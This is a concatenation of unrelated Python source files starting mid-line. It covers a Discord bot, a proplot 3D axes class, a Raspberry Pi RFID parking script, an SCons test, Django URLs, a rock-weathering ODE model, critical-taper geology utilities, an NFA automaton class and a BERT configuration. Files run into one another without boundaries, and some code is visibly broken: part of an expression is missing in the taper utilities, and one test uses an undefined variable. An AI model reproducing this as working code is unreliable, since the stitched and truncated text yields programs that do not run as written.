f: f.write(req.content) f.close() await ctx.send(file=discord.File(videoname)) os.remove(videoname) except Exception as e: error_class = e.__class__.__name__ #取得錯誤類型 detail = e.args[0] #取得詳細內容 cl, exc, tb = sys.exc_info() #取得Call Stack lastCallStack = traceback.extract_tb(tb)[-1] #取得Call Stack的最後一筆資料 fileName = lastCallStack[0] #取得發生的檔案名稱 lineNum = lastCallStack[1] #取得發生的行號 funcName = lastCallStack[2] #取得發生的函數名稱 errMsg = "File \"{}\", line {}, in {}: [{}] \r\n\r\nerrMsg:{}".format(fileName, lineNum, funcName, error_class, detail) print(errMsg) #print(e) await ctx.send("error!") else: #print("dead") await ctx.send("bad args!") #lock.release() @bot.command(pass_context=True) async def upload_file(ctx): await ctx.send(type(ctx)) #attachment_url = ctx.message.attachments[0].url #print(attachment_url) #file_request = requests.get(attachment_url) #print(file_request.content) bot.run(DISCORD_TOKEN) proplot/axes/three.py100-1000 #!/usr/bin/env python3 """ The "3D" axes class. """ from . import base, shared try: from mpl_toolkits.mplot3d import Axes3D except ImportError: Axes3D = object class ThreeAxes(shared._SharedAxes, base.Axes, Axes3D): """ Simple mix-in of `proplot.axes.Axes` with `~mpl_toolkits.mplot3d.axes3d.Axes3D`. Important --------- Note that this subclass does *not* implement the `~proplot.axes.PlotAxes` plotting overrides. This axes subclass can be used by passing ``proj='3d'`` or ``proj='three'`` to axes-creation commands like `~proplot.figure.Figure.add_axes`, `~proplot.figure.Figure.add_subplot`, and `~proplot.figure.Figure.subplots`. """ # TODO: Figure out a way to have internal Axes3D calls to plotting commands # access the overrides rather than the originals? May be impossible. _name = 'three' _name_aliases = ('3d',) def __init__(self, *args, **kwargs): import mpl_toolkits.mplot3d # noqa: F401 verify package is available kwargs.setdefault('alpha', 0.0) super().__init__(*args, **kwargs) from absl import app, logging import cv2 import numpy as np import os import requests import RPi.GPIO as GPIO from mfrc522 import SimpleMFRC522 import time import json def unlock_cooler(): GPIO.setup(11, GPIO.OUT) p = GPIO.PWM(11, 50) p.start(2.5) p.ChangeDutyCycle(7.5) time.sleep(1.5) p.ChangeDutyCycle(2.5) time.sleep(1) p.stop() def main(argv): url = 'https://votan-sparking.herokuapp.com/tickets/createticket' while True: file = open("temp.txt", "r") number = str(file.read()) if len(number) > 10: dataArr = number.split("-") if (int(dataArr[1]) >= 5): while True: reader = SimpleMFRC522() id, text = reader.read() print('IDcard: ', id) print('User: ', text) infoArr = text.split(' - ') studentId = str(infoArr[0]) payload = { 'numplate': dataArr[0], 'userId': studentId } r = requests.post(url, data=payload) d = json.loads(r.text) successRes = d["success"] messRes = d["message"] if successRes == False: print(messRes) break else: print(str(studentId) + 'TAO ') unlock_cooler() break if __name__ == '__main__': app.run(main)#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ Created on Thu Jun 7 23:50:27 2018 @author: luke """ #!/usr/bin/env python # # __COPYRIGHT__ # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY # KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE # WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # __revision__ = "__FILE__ __REVISION__ __DATE__ __DEVELOPER__" """ Test the --install-sandbox commandline option for Install() and InstallAs(). """ import os.path import TestSCons test = TestSCons.TestSCons() test.subdir('install', 'subdir') target = 'destination' destdir = test.workpath( target ) _SUBDIR_file3_out = os.path.join('$SUBDIR', 'file3.out') _SUBDIR_file3_in = os.path.join('$SUBDIR', 'file3.in') target_file2_out = os.path.join(target, 'file2.out') subdir_file3_in = os.path.join('subdir', 'file3.in') target_subdir_file3_out = os.path.join(target, 'subdir', 'file3.out') file1_out = target+os.path.join( target, os.path.splitdrive(destdir)[1], 'file1.out' ) # test.write('SConstruct', r""" DefaultEnvironment(tools=[]) env = Environment(tools=[], SUBDIR='subdir') f1 = env.Install(r'%(destdir)s', 'file1.out') f2 = env.InstallAs(['file2.out', r'%(_SUBDIR_file3_out)s'], ['file2.in', r'%(_SUBDIR_file3_in)s']) env.Depends(f2, f1) """ % locals()) test.write('file1.out', "file1.out\n") test.write('file2.in', "file2.in\n") test.write(['subdir', 'file3.in'], "subdir/file3.in\n") expect = test.wrap_stdout("""\ Install file: "file1.out" as "%(file1_out)s" Install file: "file2.in" as "%(target_file2_out)s" Install file: "%(subdir_file3_in)s" as "%(target_subdir_file3_out)s" """ % locals()) test.run(arguments = '--install-sandbox=%s' % destdir, stdout=expect) test.must_match(file1_out, "file1.out\n") test.must_match('destination/file2.out', "file2.in\n") test.must_match('destination/subdir/file3.out', "subdir/file3.in\n") # test.pass_test() # Local Variables: # tab-width:4 # indent-tabs-mode:nil # End: # vim: set expandtab tabstop=4 shiftwidth=4: from django.urls import path from .views import UserView, UserDetailView urlpatterns = [ path('', UserView.as_view()), path('/', UserDetailView.as_view()), path('//scores', UserDetailView.as_view()), ]tout = 0 def run_weathering_model(Lstar, vstar, Yostar, tstar, dxstar = 0.05, r = 0.25, method = 'LSODA', use_cfl = True): from weathering_model.utils import pack_values from weathering_model.muscl import muscl, vanAlbada import numpy as np nxstar = int(np.ceil(Lstar / dxstar)) x0 = np.zeros((nxstar,2)) x0[:,0] = 1. x0[:,1] = 0.0 def bc_function(x): yb = x[-1, 1] return (np.array([[1, 1], [1, 1]]), np.array([[1, yb], [1, yb]])) def flux_function(x): v = np.zeros_like(x) v[:,1] = vstar return x * v def source_function(x): X = (x[:,0] <= 1) * x[:,0] + (x[:,0] > 1) * 1 Y = (x[:,1] > 0) * x[:,1] s = np.zeros_like(x) s[:,0] = -np.power(Y,r)*np.power(X,2)*(X > 0).astype(X.dtype)*(Y > 0).astype(Y.dtype)*(X <= 1).astype(X.dtype)*(Y <= 1.0).astype(Y.dtype) s[:,1] = -r*np.power(X,2)*np.power(Y,r)/Yostar*(X > 0).astype(X.dtype)*(Y > 0).astype(Y.dtype)*(X <= 1).astype(X.dtype)*(Y <= 1.0).astype(Y.dtype) return s def diffusion_function(x): x_d = np.zeros((x0.shape[0]+2,2)) x_d[1:-1,1] = x[:,1] (topBC, bottomBC) = bc_function(x) x_d[0,1] = topBC[0,1] x_d[-1,1] = bottomBC[0,1] q = np.diff(x_d[:,1]) / dxstar dxdt = np.zeros_like(x) dxdt[:,1] = vstar*np.diff(q) / dxstar return dxdt def prop_speed(x): v = np.zeros_like(x) v[:,1] = vstar return np.abs(v) def to_integrate(t, x): x_unpacked = pack_values(x, packing_geometry=x0.shape) dxdt_flux = muscl(x_unpacked, dxstar, bc_function, flux_function, vanAlbada, prop_speed = prop_speed, reconstruction='parabolic') dxdt_flux[:,0] = 0 dxdt_source = source_function(x_unpacked) dxdt_diffusion = diffusion_function(x_unpacked) dxdt_diffusion[:,0] = 0 dxdt = dxdt_flux + dxdt_source + dxdt_diffusion global tout if tout < t: print(tout, flush = True) tout += 0.1 return pack_values(dxdt, packing_geometry=None) from scipy.integrate import solve_ivp cfl_dt = 0.25 * dxstar / np.abs(vstar) if use_cfl else np.inf out = solve_ivp(to_integrate, (np.min(tstar), np.max(tstar)), pack_values(x0, packing_geometry=None), method=method, max_step = cfl_dt, t_eval=tstar, lband = 2, uband = 2) if out is None: print('problem') print(out) X_star = np.zeros((len(tstar),x0.shape[0])) Y_star = np.zeros((len(tstar),x0.shape[0])) this_y = out.y.T for i in range(len(tstar)): X_star[i,:] = pack_values(this_y[i,:],packing_geometry=x0.shape)[:,0] Y_star[i,:] = pack_values(this_y[i,:],packing_geometry=x0.shape)[:,1] return np.arange(0, Lstar, dxstar), X_star, Y_star def test_weathering_model(): from weathering_model.utils import pack_values from weathering_model.muscl import muscl, vanAlbada import numpy as np nx = 1000 dx = 0.05 Xo = 1 x0 = np.zeros((nx,2)) x0[:,0] = Xo t = np.array([0, 2, 4, 6, 8, 10, 12]) vstar = 1 r = 0.25 Yostar = 1 def bc_function(x): return (np.array([[1.0, 1],[0, 0]]), np.array([[1.0, yb],[0, 0]])) def flux_function(x): v = np.zeros_like(x) v[:,1] = vstar return x * v def source_function(x): X = x[:,0] Y = (x[:,1] > 0) * x[:,1] s = np.zeros_like(x) s[:,0] = -np.power(Y,r)*np.power(X,2) s[:,1] = -r*np.power(X,2)*np.power(Y,r)/Yostar return s def diffusion_function(x): x_d = np.zeros((x0.shape[0]+2,2)) x_d[1:-1,:] = x (topBC, bottomBC) = bc_function(x) x_d[0,1] = topBC[0,1] x_d[-1,1] = bottomBC[0,1] q = np.diff(x_d[:,1]) / dx dxdt = np.zeros_like(x) dxdt[:,1] = vstar*np.diff(q) / dx return dxdt def prop_speed(x): v = np.zeros_like(x) v[:,1] = vstar return np.abs(v) def to_integrate(t, x): x_unpacked = pack_values(x, packing_geometry=x0.shape) dxdt_flux = muscl(x_unpacked, dx, bc_function, flux_function, vanAlbada, prop_speed = prop_speed, reconstruction='parabolic') dxdt_source = source_function(x_unpacked) dxdt_diffusion = diffusion_function(x_unpacked) dxdt = dxdt_flux + dxdt_source + dxdt_diffusion print(t) return pack_values(dxdt, packing_geometry=None) from scipy.integrate import solve_ivp out = solve_ivp(to_integrate, (np.min(t), np.max(t)), pack_values(x0, packing_geometry=None), method='RK45', t_eval=t) y = out.y.T import matplotlib.pylab as plt plt.ion() x_a = np.arange(0,nx*dx,dx) for i in range(len(t)): this_y = pack_values(y[i], packing_geometry=x0.shape) plt.figure(1) plt.plot(x_a,this_y[:,0],'.') plt.figure(2) plt.plot(x_a,this_y[:,1],'.')CritTaper_utils.py #!/usr/bin/env python2 # -*- coding: utf-8 -*- """ Created on Mon Jul 30 20:49:33 2018 @author: abauville MIT License Copyright (c) 2019 abauville Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ # Critical Taper utilities import numpy as np from numpy import sin, cos, tan, pi, arctan, arcsin import matplotlib.pyplot as plt class Taper(): def __init__(self, phi=30.0*np.pi/180.0, phi_b=30.0*np.pi/180.0-1e-6, Lambda=0.0, Lambda_b=0.0, rho=2500.0, rho_w=1000.0): self.phi = phi self.phi_b = phi_b self.Lambda = Lambda self.Lambda_b = Lambda_b self.rho = rho self.rho_w = rho_w self.alpha_all = [] self.beta_all = [] self.psi_bmin = 0 self.psi_bmax = 0 # ========================================================================= # Function to compute the graph alpha vs beta def computeAlphaVsBeta(self, step0=0.01, n="default",alphaMin="default",alphaMax="default"):# # This functions constructs the critical taper envelope (CTE) using the # analytical solution of Lehner (1986). # The nomenclature of angles follows Lehner (1986). # The solution has been benchmark against the graphical method of Dahlen (1984). # # If you use this function please cite this repository and the original paper: # cite 1 # cite 2 # # References: # . (1984). Noncohesive critical Coulomb wedges: An exact solution. # Journal of Geophysical Research: Solid Earth, 89(B12):10125–10133. # # . (1986). Comments on "Noncohesive critical Coulomb wedges: # an exact solution" by . Journal of Geophysical Research, # 91(B1):793-796 # # Returns a 2*N matrix with [alpha;beta]; N=2*n # unit is radian # phi = internal friction angle # mu_b = basal coefficient of friction = () # alpha = surface angle # beta = base angle # psi = stress orientation # psi_b = stress orientation with respect to the base direction # psi_0 = stress orientation with respect to the surface direction phi = self.phi phi_b = self.phi_b Lambda = self.Lambda Lambda_b = self.Lambda_b rho_w = self.rho_w rho = self.rho if alphaMin!="default": print("warning: the parameter alphaMin is deprecated. It will be ignored.") if alphaMax!="default": print("warning: the parameter alphaMax is deprecated. It will be ignored.") if n!="default": print("warning: the parameter n is deprecated. It will be ignored. Use step0 to specify the the resolution") Lambda_hydro = rho_w/rho Lambda_ov = 1.0 - (1.0-Lambda )/(1.0-Lambda_hydro) Lambda_b_ov = 1.0 - (1.0-Lambda_b)/(1.0-Lambda_hydro) mu = tan(phi) mu_b = tan(phi_b) mu_b_p = mu_b*((1.0-Lambda_b)/(1.0-Lambda)) phi_b_p = arctan(mu_b_p) alpha_m = np.arctan( (1.0-Lambda_b_ov)*np.tan(phi_b)) # beta_m = -alpha_m # beta_c = np.pi/4.0-phi_b_p/2.0 alpha_max = np.arctan((1.0-Lambda_ov)*mu) alpha_list = [alpha_m,alpha_max-1e-10,-alpha_m,-alpha_max+1e-10,alpha_m] alpha_all = np.array([]) beta_all = np.array([]) for i in range(len(alpha_list)-1): #for i in range(1): if alpha_list[i]pi: # print("Warning: beta should be in radians") IBetaMin = np.argmin(self.beta_all) IBetaMax = np.argmax(self.beta_all) I0 = min(IBetaMin, IBetaMax) I1 = max(IBetaMin, IBetaMax) beta_env1 = self.beta_all[I0:I1+1] beta_env2 = np.concatenate((self.beta_all[I1::],self.beta_all[0:I0+1])) alpha_env1 = self.alpha_all[I0:I1+1] alpha_env2 = np.concatenate((self.alpha_all[I1::],self.alpha_all[0:I0+1])) Ienv1 = np.argmin(np.abs(beta_env1-beta)) Ienv2 = np.argmin(np.abs(beta_env2-beta)) if enveloppe=="upper": alpha = np.max([alpha_env1[Ienv1],alpha_env2[Ienv2]]) # min or max to get the lower or upper enveloppe of stability elif enveloppe=="lower": alpha = np.min([alpha_env1[Ienv1],alpha_env2[Ienv2]]) # min or max to get the lower or upper enveloppe of stability elif enveloppe=="average": alpha = ( alpha_env1[Ienv1]+alpha_env2[Ienv2] )/2.0# min or max to get the lower or upper enveloppe of stability else: raise ValueError("unknown enveloppe '%s'." % enveloppe) return alpha # Find alpha for a given beta # ========================================================================= # # # ========================================================================= # # Function to compute the graph alpha vs beta ## Deprecated function kept for potential debugging of the new function # def computeAlphaVsBeta_Numerical(self, n=1001,alphaMin="default",alphaMax="default"): # Some trigo functions # def csc(x): # return 1.0/sin(x) # def sec(x): # return 1.0/cos(x) # def cot(x): # return 1.0/tan(x) # # # F function from Dahlen, 1984, eq (21) # def F_function(psi,phi): # return tan(2.0*psi) / (csc(phi)*sec(2.0*psi) - 1.0) # # Computes the graph of surface vs base angle based on the graphical method described in # # Dahlen, 1984, Noncohesive Critical Coulomb Wedges (paragraph Stable vs Unstable Wedges p. 10,128). # # # # Returns a 2*N matrix with [alpha;beta]; N=2*n # # unit is radian # # phi = internal friction angle # # mu_b = basal coefficient of friction = () # # alpha = surface angle # # beta = base angle # # # psi = stress orientation # # psi_b = stress orientation with respect to the base direction # # psi_0 = stress orientation with respect to the surface direction # # phi = self.phi # phi_b = self.phi_b # Lambda = self.Lambda # Lambda_b = self.Lambda_b # # rho_w = self.rho_w # rho = self.rho # # if alphaMin=="default": # alphaMin = -phi+1e-4 ## else: alphaMin = alphaMin # # if alphaMax=="default": # alphaMax = +phi-1e-4 # # alphaP_list = np.linspace(alphaMin,alphaMax,n) # note: alphaMax = phi # if np.where(alphaP_list==0)[0].shape[0] > 0: # if value 0 is found # # then increment n by one and reconstruct alphaP_list to avoid 0 (there is no solution for the value 0) # n=n+1 # alphaP_list = np.linspace(-phi+1e-6,phi-1e-6,n) # note: alphaMax = phi # # # # mu_bP = tan(phi_b) * (1.0-Lambda_b)/(1.0-Lambda) # if Lambda>0.0: # alpha_list = arctan(tan(alphaP_list) * (1.0-Lambda)/(1.0-rho_w/rho)) # # alpha_list = arctan(tan(alphaP_list) * (1.0-Lambda)) # else: # alpha_list = alphaP_list # # # psi = np.linspace(-pi/2.0,pi/2.0,n) # psi_0 = np.zeros(n) # psi_02 = np.zeros(n) # # beta_Left = np.zeros(n) # beta_Right = np.zeros(n) # # F = F_function(psi,phi) # # # # # for i in range(n): # alphaP = alphaP_list[i] # alpha = alpha_list[i] # # Find phi_b # I = np.where((F[:-1]-mu_bP)/(F[1:]-mu_bP) < 0.0 )[0] # psi_bmin = (psi[I][0]+psi[I+1][0])/2.0 # psi_bmax = (psi[I][1]+psi[I+1][1])/2.0 # # Find phi_0 # I = np.where((F[:-1]-tan(alphaP))/(F[1:]-tan(alphaP)) < 0.0 )[0][0] # psi_0 = (psi[I]+psi[I+1])/2.0 # I = np.where((F[:-1]-tan(alphaP))/(F[1:]-tan(alphaP)) < 0.0 )[0][1] # psi_02 = (psi[I]+psi[I+1])/2.0 # # # ApBmin = psi_bmin-psi_0 # alpha + beta = critical taper # ApBmin2 = psi_bmin-psi_02 # alpha + beta = critical taper # ApBmax = psi_bmax-psi_0 # alpha + beta = critical taper # ApBmax2 = psi_bmax-psi_02 # alpha + beta = critical taper # # betaMin = ApBmin-alpha # betaMin2 = ApBmin2-alpha # betaMax = ApBmax-alpha # betaMax2 = ApBmax2-alpha # # if alphaP>0.0: # beta_Left[i] = np.max([betaMin,betaMax2]) # beta_Right[i] = betaMax # else: # beta_Left[i] = betaMin2 # beta_Right[i] = np.min([betaMin,betaMax2]) # # self.beta_all = np.concatenate([beta_Left,np.flipud(beta_Right)]) # self.alpha_all = np.concatenate([alpha_list,np.flipud(alpha_list)]) # self.psi_bmin = psi_bmin # self.psi_bmax = psi_bmax # # # # Function to compute the graph alpha vs beta # # =========================================================================from typing import Any, Dict, FrozenSet, List, Set, Tuple from itertools import combinations import json import copy DEAD_STATE = "qdead" class NFA(): """ Non-deterministic finite automaton. All operations over automata are implemented here, this class represents a NFA although it can be deterministic. The transition function (delta) is represented as a dictionary that maps (state, symbol) -> Set[state], it is deterministic if all transitions take to only one state. """ def __init__( self, states: Set[str]=None, alphabet: Set[str]=None, transitions: Dict[Tuple[str, str], Set[str]]=None, initial_state: str="", final_states: Set[str]=None) -> None: self._states = states if states else set() self._alphabet = alphabet if alphabet else set() self._transitions = transitions if transitions else {} self._initial_state = initial_state self._final_states = final_states if final_states else set() @property def states(self) -> List[str]: """ Returns an ordered list of states """ return [self._initial_state] + \ sorted(self._states - {self._initial_state}) @property def alphabet(self) -> List[str]: """ Returns an ordered list of symbols """ return sorted(self._alphabet) @property def transition_table(self) -> Dict[Tuple[str, str], Set[str]]: """ Returns the transition function, a dictionary """ return self._transitions @property def initial_state(self) -> str: """ Returns the initial state """ return self._initial_state @property def final_states(self) -> Set[str]: """ Returns the set of final states """ return self._final_states def add_state(self, state: str) -> None: """ Adds a state """ if not self._initial_state: self._initial_state = state self._states.add(state) def remove_state(self, state: str) -> None: """ Removes a state """ # may not remove initial state if state != self._initial_state: self._states.discard(state) self._final_states.discard(state) for symbol in self._alphabet: # remove useless transitions that come from the removed state if (state, symbol) in self._transitions: del self._transitions[state, symbol] empty_transitions = set() # type Set[Tuple[str, str]] for actual_state, next_state in self._transitions.items(): # remove transitions that go to the removed state next_state.discard(state) if not next_state: empty_transitions.add(actual_state) for transition in empty_transitions: del self._transitions[transition] def toggle_final_state(self, state: str) -> None: """ Toggle a state to be final or not """ if state in self._states: if state in self._final_states: self._final_states.remove(state) else: self._final_states.add(state) def add_symbol(self, symbol: str) -> None: """ Adds a symbol """ self._alphabet.add(symbol) def remove_symbol(self, symbol: str) -> None: """ Removes a symbol """ self._alphabet.discard(symbol) for state in self._states: # remove transitions by the removed symbol if (state, symbol) in self._transitions: del self._transitions[state, symbol] def set_transition( self, state: str, symbol: str, next_states: Set[str]) -> None: """ Set the transition function for a given state and symbol """ if not next_states: # assert transition won't exist self._transitions.pop((state, symbol), set()) elif next_states <= self._states: self._transitions[state, symbol] = next_states else: states = ", ".join(next_states - self._states) raise KeyError("State(s) {} do not exist".format(states)) def accept(self, string: str) -> bool: """ Checks if a given string is member of the language recognized by the NFA. Using non-deterministic transitions. """ current_state = {self._initial_state} for symbol in string: next_state = set() # type Set[str] for state in current_state: next_state.update( self._transitions.get((state, symbol), set())) current_state = next_state return bool(current_state.intersection(self._final_states)) def minimize(self) -> None: """ Transforms the automaton in the correspondent minimal automaton, that is, without dead, unreachable and equivalent states """ if not self.is_deterministic(): raise RuntimeError("Automata is non-deterministic") self.remove_unreachable() self.remove_dead() self.merge_equivalent() def remove_unreachable(self) -> None: """ Removes the states that the automaton will never be in """ reachable = set() # type: Set[str] new_reachable = {self._initial_state} while not new_reachable <= reachable: reachable |= new_reachable new_reachable_copy = new_reachable.copy() new_reachable = set() for state in new_reachable_copy: for symbol in self._alphabet: new_reachable.update( self._transitions.get((state, symbol), set())) for unreachable_state in self._states - reachable: self.remove_state(unreachable_state) def remove_dead(self) -> None: """ Removes states that never reach a final state """ alive = set() # type: Set[str] new_alive = self._final_states.copy() while not new_alive <= alive: alive |= new_alive new_alive = set() for (state, _), next_states in self._transitions.items(): if any(next_state in alive for next_state in next_states): new_alive.add(state) for dead_state in self._states - alive: self.remove_state(dead_state) def merge_equivalent(self) -> None: """ Merges equivalent states """ if not self.is_deterministic(): raise RuntimeError("Automata is non-deterministic") # pairs of undistinguishable states undistinguishable = set() # type: Set[FrozenSet[str]] # initially, you can't distinguish final and non-final states for pair in combinations(self._states - self._final_states, 2): undistinguishable.add(frozenset(pair)) for pair in combinations(self._final_states, 2): undistinguishable.add(frozenset(pair)) # find new distinguishable states while True: new_distinguishable_found = False undistinguishable_copy = undistinguishable.copy() for state_a, state_b in undistinguishable_copy: if not self._are_undistinguishable( state_a, state_b, undistinguishable_copy): undistinguishable.remove(frozenset((state_a, state_b))) new_distinguishable_found = True if not new_distinguishable_found: break for state_a, state_b in undistinguishable: self._merge_states(state_a, state_b) def _are_undistinguishable( self, state_a: str, state_b: str, undistinguishable: Set[FrozenSet[str]]) -> bool: """ State a and b are distinguishable if they go to distinguishable states for some input symbol. """ for symbol in self._alphabet: transition_a = \ list(self._transitions.get((state_a, symbol), {""}))[0] transition_b = \ list(self._transitions.get((state_b, symbol), {""}))[0] if transition_a != transition_b and \ frozenset((transition_a, transition_b)) not in \ undistinguishable: return False return True def _merge_states(self, state_a: str, state_b: str): """ Merges state b into a, making them one state """ state_to_be_removed = state_b state_to_be_kept = state_a # avoid removing the initial state or one that's already removed if state_to_be_removed == self._initial_state or \ state_to_be_kept not in self._states: state_to_be_removed = state_a state_to_be_kept = state_b for actual_state, next_state in self._transitions.items(): if next_state == {state_to_be_removed}: self._transitions[actual_state] = {state_to_be_kept} self.remove_state(state_to_be_removed) def determinize(self) -> None: """ Given the actual NFA, determinizes it, appending the new transitions and states to the actual ones of the NFA. """ original_transitions = self._transitions.copy() # create necessary states for next_state in original_transitions.values(): if len(next_state) > 1: self._determinize_state(next_state) # rewrite transitions self._transitions = { actual: {"".join(sorted(next_state))} for actual, next_state in self._transitions.items() } self.remove_unreachable() def _determinize_state(self, states_set: Set[str]) -> None: """ For a given set of states, verify whether they pertains to the actual states of the FA. In negative case, add it and insert the transitions properly """ name = "".join(sorted(states_set)) if name and name not in self._states: self.add_state(name) if states_set.intersection(self._final_states): self._final_states.add(name) for symbol in self._alphabet: reachable = self._find_reachable(states_set, symbol) if reachable: self._transitions[name, symbol] = reachable self._determinize_state(reachable) def _find_reachable(self, states: Set[str], symbol: str) -> Set[str]: """ Given a set of states, applies a depth search algorithm to find the reachable states of them through transitions of the given symbol """ found = set() # type: Set[str] for state in states: if (state, symbol) in self._transitions: found.update(self._transitions[state, symbol]) return found def is_deterministic(self) -> bool: """ Checks if the automaton is deterministic """ return all( len(transition) == 1 for transition in self._transitions.values()) def is_empty(self) -> bool: """ Checks if the language defined by the automaton is empty """ nfa = copy.deepcopy(self) nfa.remove_unreachable() return len(nfa.final_states) == 0 def is_finite(self) -> bool: """ Checks if the language defined by the automaton is finite """ nfa = copy.deepcopy(self) nfa.remove_dead() return not nfa._has_recursion(self._initial_state, set()) def _has_recursion(self, to_visit: str, visited: Set[str]) -> bool: """ Checks if the automata has recursive states, using a depth first search approach. """ if to_visit in visited: return True visited.add(to_visit) reachable = set() # type: Set[str] # Find the reachable through all symbols for symbol in self._alphabet: reachable.update(self._find_reachable({to_visit}, symbol)) for state in reachable: if self._has_recursion(state, copy.deepcopy(visited)): return True return False def beautify_qn(self, begin_at: int=0) -> None: """ Transforms all states to q1,q2,...,qn """ beautiful_states = {self._initial_state: "q" + str(begin_at)} beautiful_states.update({ state: "q" + str(begin_at + number + 1) for number, state in enumerate(sorted(self._states - {self._initial_state}))}) self._beautify(beautiful_states) def beautify_abc(self) -> None: """ Transforms all states to S,A,B,...,Z """ if len(self._states) > 26: raise RuntimeError("Too many states") beautiful_states = {self._initial_state: "S"} number = 0 for state in sorted(self._states - {self._initial_state}): beautiful_states[state] = chr(ord('A') + number) if number == 17: # skip "S", the initial state number += 1 number += 1 self._beautify(beautiful_states) def _beautify(self, beautiful_states: Dict[str, str]) -> None: self._initial_state = beautiful_states[self._initial_state] self._states = set(beautiful_states.values()) self._transitions = { (beautiful_states[actual_state], symbol): {beautiful_states[state] for state in value} for (actual_state, symbol), value in self._transitions.items() } self._final_states = { beautiful_states[state] for state in self._final_states } def union(self, automaton: 'NFA') -> None: """ Makes the union of two automata, without epsilon transitions, and saves it on the actual object. """ self._alphabet.update(automaton._alphabet) self._complete() self.beautify_qn() automaton._alphabet.update(self._alphabet) automaton._complete() automaton.beautify_qn(len(self._states)) new_state = "qinitial" self._states.add(new_state) # Merge states self._states.update(automaton._states) self._final_states.update(automaton._final_states) self._transitions.update(automaton._transitions) if any( initial_state in self._final_states for initial_state in {self._initial_state, automaton._initial_state}): self._final_states.add(new_state) # Creates transitions of the new initial state for symbol in self._alphabet: self.set_transition( new_state, symbol, self._transitions.get( (self._initial_state, symbol), set()) | automaton.transition_table.get( (automaton._initial_state, symbol), set())) self._initial_state = new_state def complement(self) -> None: """ Finds the automaton which recognizes the language that is the complement of the actual automaton """ self.determinize() self._complete() for state in self._states: self.toggle_final_state(state) def intersection(self, automaton: 'NFA') -> None: """ Finds the automaton which recognizes the language that is the intersection of the actual automaton with the given one. """ automaton.complement() self.complement() self.union(automaton) self.complement() def contains(self, automaton: 'NFA') -> bool: """ Checks if the actual automaton contains another one. """ first_nfa = copy.deepcopy(self) second_nfa = copy.deepcopy(automaton) first_nfa.complement() second_nfa.intersection(first_nfa) return second_nfa.is_empty() def is_equal(self, automaton: 'NFA') -> bool: """ Checks if two automata are equivalent. """ return self.contains(automaton) and automaton.contains(self) def _complete(self) -> None: self.add_state(DEAD_STATE) for state in self._states: for symbol in self._alphabet: if (state, symbol) not in self._transitions: self._transitions[state, symbol] = {DEAD_STATE} @staticmethod def from_regular_grammar(grammar) -> 'NFA': """ Converts RegularGrammar to NFA """ initial_symbol = grammar.initial_symbol() productions = grammar.productions() states = set(productions.keys()) | {"X"} alphabet = set() # type: Set[str] transitions = {} # type: Dict[Tuple[str, str], Set[str]] initial_state = initial_symbol final_states = set("X") | \ ({initial_symbol} if "&" in productions[initial_symbol] else set()) for non_terminal, prods in productions.items(): for production in prods: if production == "&": continue new_transition = "X" if len(production) == 1 else production[1] transitions.setdefault( (non_terminal, production[0]), set()).add(new_transition) alphabet.add(production[0]) return NFA(states, alphabet, transitions, initial_state, final_states) def save(self, path: str) -> None: """ Saves the automaton to a JSON file """ data = {} # type: Dict[str, Any] data["states"] = sorted(self._states) data["alphabet"] = sorted(self._alphabet) data["transitions"] = \ [(k[0], k[1], sorted(v)) for k, v in self._transitions.items()] data["initial_state"] = self._initial_state data["final_states"] = sorted(self._final_states) with open(path, 'w') as automata_file: json.dump(data, automata_file, indent=4) @staticmethod def load(path: str) -> 'NFA': """ Loads the automaton from a JSON file """ with open(path, 'r') as automata_file: data = json.load(automata_file) states = set(data["states"]) alphabet = set(data["alphabet"]) transitions = {(v[0], v[1]): set(v[2]) for v in data["transitions"]} initial_state = data["initial_state"] final_states = set(data["final_states"]) return NFA( states, alphabet, transitions, initial_state, final_states) import json import tensorflow as tf def gelu(x): """Gaussian Error Linear Unit. Original paper: https://arxiv.org/abs/1606.08415 """ return 0.5 * x * (1.0 + tf.tanh(0.7978845608028654 * x * (1 + 0.044715 * x * x))) def get_activation_function(hidden_act): if hidden_act == "linear": return None elif hidden_act == "relu": return tf.nn.relu elif hidden_act == "gelu": return gelu elif hidden_act == "tanh": return tf.tanh else: raise ValueError("Unsupported activation: %s" % hidden_act) def get_initializer(x): return tf.keras.initializers.TruncatedNormal(stddev=x) class BertConfig: def __init__( self, vocab_size: int, hidden_size: int = 768, num_hidden_layers: int = 12, num_attention_heads: int = 12, intermediate_size: int = 3072, hidden_act: str = "gelu", hidden_dropout_prob: float = 0.1, attention_probs_dropout_prob: float = 0.1, max_position_embeddings: int = 512, type_vocab_size: int = 16, initializer_range: float = 0.0, layer_norm_eps: float = 1e-12, **kwargs, # unused ): self.attention_probs_dropout_prob = attention_probs_dropout_prob self.hidden_act = get_activation_function(hidden_act) 